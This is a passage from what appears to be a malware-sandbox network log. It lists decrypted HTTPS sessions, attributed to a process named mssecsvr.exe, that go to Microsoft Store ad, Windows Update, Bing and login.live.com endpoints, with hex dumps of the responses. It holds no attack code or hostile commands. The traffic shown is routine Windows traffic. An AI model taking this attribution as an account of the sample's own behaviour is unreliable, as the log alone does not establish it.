Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.7	52622	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:10 UTC	8357	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NH2GPH4JZS4&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224402Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:10 UTC	8357	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: c0833d09-3cab-4cbf-b867-5188f526f70d Date: Wed, 20 Jul 2022 13:45:10 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.7	52675	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:11 UTC	8393	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH6J6VK&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224408Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:11 UTC	8394	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: eaa7e553-d498-4bb2-82f6-7dc1e6231785 Date: Wed, 20 Jul 2022 13:45:10 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.7	49873	173.222.108.192	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:28 UTC	60	OUT	GET /apc/trans.gif?b05e69f891148ace332a52bc3c35499b HTTP/1.1 Referer: https://www.bing.com/AS/API/WindowsCortanaPane/V2/Init Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Accept-Language: en-US Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.10.7.17134; 10.0.0.0.17134.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: fp-as.azureedge.net Connection: Keep-Alive
2022-07-20 13:43:28 UTC	61	IN	HTTP/1.1 200 OK Content-Length: 43 Content-Type: image/gif Content-MD5: MlRyYBVx8x4b8AZ0w2jTNQ== Last-Modified: Tue, 27 Feb 2018 23:48:21 GMT ETag: 0x8D57E3C9594BD94 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 427edb53-801e-0102-3dea-ca55b2000000 x-ms-version: 2009-09-19 x-ms-meta-CbModifiedTime: Mon, 08 Feb 2016 20:57:42 GMT x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-CbModifiedTime,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * Cache-Control: max-age=360721, s-maxage=86400 Date: Wed, 20 Jul 2022 13:43:28 GMT Connection: close
2022-07-20 13:43:28 UTC	61	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.7	52679	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:11 UTC	8394	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224411Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:11 UTC	8394	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: d79d30db-4769-4433-a6a4-8c0e773d2473 Date: Wed, 20 Jul 2022 13:45:10 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.7	52681	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:11 UTC	8395	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224413Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:11 UTC	8395	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: f06b72b0-5ac3-467d-9dfb-6832829945b6 Date: Wed, 20 Jul 2022 13:45:10 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.7	52689	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:11 UTC	8395	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9N0866FS04W8&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224416Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:12 UTC	8396	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 20b20093-8fa8-42e3-a966-7fad2d4109d8 Date: Wed, 20 Jul 2022 13:45:11 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.7	52683	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:12 UTC	8396	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 13:45:12 UTC	8396	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: c38578d8-83a4-475f-b2fa-6032c5332f6d MS-RequestId: 61d0bab2-5e7b-4a6f-be56-d92776e82448 MS-CV: kntNTMHMjUCBcPpU.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 13:45:11 GMT Connection: close Content-Length: 35877
2022-07-20 13:45:12 UTC	8397	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 13:45:12 UTC	8412	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 13:45:12 UTC	8428	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.7	52738	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:12 UTC	8432	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ10M&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224417Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:12 UTC	8433	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 280fdfaa-ffcf-4b1f-8c7a-b0bfdf01b839 Date: Wed, 20 Jul 2022 13:45:11 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.7	52741	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:12 UTC	8433	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ140&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224420Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:12 UTC	8433	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 4a2619d3-fb3c-44b2-802b-68db7d1ed50c Date: Wed, 20 Jul 2022 13:45:11 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.7	52740	52.242.101.226	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:12 UTC	8434	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=P54v9HmANUf3mSD&MD=zzdSvrc4 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 13:45:12 UTC	8434	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 627de564-47f0-4173-883b-c3cdc456b496 MS-RequestId: c1650327-d997-4358-b8c9-a3c4e75abb2c MS-CV: Tz3TzYjIG0CkKfUt.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 13:45:11 GMT Connection: close Content-Length: 35877
2022-07-20 13:45:12 UTC	8435	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 13:45:12 UTC	8450	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 13:45:12 UTC	8466	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.7	52743	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:12 UTC	8434	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NC2FBTHCJV8&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224422Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:12 UTC	8470	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: a53d8958-b87d-461b-bd70-336434f11124 Date: Wed, 20 Jul 2022 13:45:12 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.7	52746	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:13 UTC	8470	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH1CQ7L&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=56083deabdfa40fcb2c4fd132122a6c4&time=20220720T224426Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:13 UTC	8471	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: f6505f88-8e9f-4e87-bd9e-833cd37caa74 Date: Wed, 20 Jul 2022 13:45:12 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.7	52798	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:45:13 UTC	8471	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=d20d825bbc4d49a298c205f067de6655&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220720T224428Z&asid=56083deabdfa40fcb2c4fd132122a6c4&eid= HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 13:45:13 UTC	8471	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: bff72903-3f96-4a65-9213-b95bbfe35b5a Date: Wed, 20 Jul 2022 13:45:12 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.7	50210	20.190.159.72	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 13:43:47 UTC	61	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.27716.00; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2022-07-20 13:43:47 UTC	62	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 13:43:47 UTC	65	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 13:42:47 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: ae64b5d7-0923-4d98-9b35-c0e3c50f4de8 PPServer: PPV: 30 H: BL6PPF167BB473D V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 13:43:47 GMT Connection: close Content-Length: 11296
2022-07-20 13:43:47 UTC	66	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.7	52801	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
